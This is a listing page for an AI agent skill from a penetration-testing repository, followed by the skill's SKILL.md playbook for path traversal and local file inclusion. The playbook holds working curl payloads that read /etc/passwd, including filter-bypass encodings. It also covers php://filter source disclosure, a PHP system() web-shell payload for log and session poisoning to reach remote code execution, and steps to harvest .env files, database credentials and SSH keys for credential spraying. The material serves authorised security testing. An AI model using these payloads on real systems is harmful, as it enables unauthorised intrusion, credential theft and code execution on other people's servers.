What it does
Web Lfi Traversal is an agent skill from s0ld13rr/pentestcode. Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.
Its SKILL.md is about 600 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Security. It works with PHP. The repository describes itself as: PentestCode - Multi-agent AI penetration testing system with persistent engagement state, strategic coordination, and parallel autonomous operations. The licence is MIT.
When your agent uses it
- A param names a file/path/page/template/lang/download
- A response embeds file contents
- - file=/page=/path=/template=/lang=/download=/include= param
- Directory listing
Example prompts
- “no such file”
- “/web-lfi-traversal”
What it can do on your machine
Read from SKILL.md and the folder at commit 6053679. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
Shell commands in SKILL.md call:
curl
From the folder's file list and the shell code blocks in SKILL.md.
Network
No URLs in SKILL.md. Its commands use curl, which can reach the network depending on how they are called.
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Web Lfi Traversal loads about 602 tokens when it runs. Until then it costs about 83 tokens; SKILL.md has 139 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check: notes
The automated check noted patterns worth knowing about, such as sudo or a known installer.
- NoteMentions a .env fileSKILL.md:29
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline - NoteMentions a .env fileSKILL.md:36
app shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credentia
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

Path Traversal / LFI
When this fires
A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.
Detect
curl 'http://<t>/?page=../../../../etc/passwd' # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd' # filter-strip bypassroot:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.
Decide
- Reads only (traversal) → escalate to source disclosure + secrets.
- PHP
include()(LFI) → escalate to RCE via wrappers/poisoning. - Extension appended (
page.php) →php://filter(below) or null-byte on old PHP; try?page=../../etc/passwd%00(PHP<5.3.4).
Exploit → PROVE IMPACT
# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
# log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
# session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
# php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
# php filter chain → RCE (php_filter_chain_generator) when only file-read is availableProof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.
Tooling
nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.
False positives / pitfalls
- WAF/framework normalizes
../→ try encodings,....//, absolute paths, or a different param. - App sandboxes to a base dir → look for a symlink/upload you control to include.
- 200 with generic page ≠ read — confirm the actual file bytes are in the response.
